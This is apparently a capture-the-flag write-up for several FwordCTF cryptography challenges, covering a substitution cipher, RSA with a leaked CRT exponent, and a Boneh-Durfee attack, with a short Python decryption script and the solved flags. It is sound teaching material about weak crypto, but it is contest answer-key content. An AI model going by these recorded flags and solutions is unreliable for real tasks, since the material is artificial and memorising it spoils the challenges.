Flag: FwordCTF{wellfrequencyanalysisrocks}

I'm not sure why the output is wrong, but it can be chucked into a substitution cipher solver() to get the real plaintext:

https://www.guballa.de/substitution-solver

One Part!

RSA-CRT. We're given dp, which is d modulus p - 1. This is the exact same problem as Weirder RSA from picoCTF 2017, so I shamelessly copied the script and changed the parameters, revealing the flag

Flag: FwordCTF{i_knew_it_its_not_secure_as_i_thought}

https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/cryptography/weirderRSA/weirderRSA.html

BDBG

Boneh-durfee go brrrr and then you can reverse the other function easily since its just XOR

line = "101110100011010000110010100100000011001110110001010101100101000000100111011010010010110101000101000110000100011001001100111011111011101001110111100001100011101010101111101100001000010111111000110110110010110100000001001011100010011000110100111100001100111001101110001111001100010001001111100110110110100001011100011100110101001000011100100011011110011000010100110010100111000010101101110101011100010110000100001101101101001111000101011100101100100110110011101000100010101000010001010010110110101011111101110011101110010000101001000111000000100100001010110111001011110001010100100001101111010010111101111001001001111010001100000111000010000100110101100010001111100011111100100100001010010100111010100010000101110000110101000101100"
n = 9
msg = [line[i:i+n] for i in range(0, len(line), n)]


r=3945132
p =12019806956467800913778611206246062087922374347970383926984004278168670921911203657163080865199043522716298571169006826814578568813815787765574990776255283
q = 11391686090403905599695015583829755003551766728158057028281938682097322841603835874354540607209988671617182359012432600907514677996087087987893334356043831
n= p*q

bs = 9
r=3945132
x=pow(r,2,n)
c = ''
for i in range(81):
    x=pow(x,2,n)
    p=(bin(x)[2:])[-bs:]
    c_i=int(p,2)^int(msg[i],2)
    ci_bin = format(c_i, '0' + str(bs) + 'b')
    c+=ci_bin

print(c)

Flag: FwordCTF{boneh_and_blum?_mix3d_but_good_j0b!!}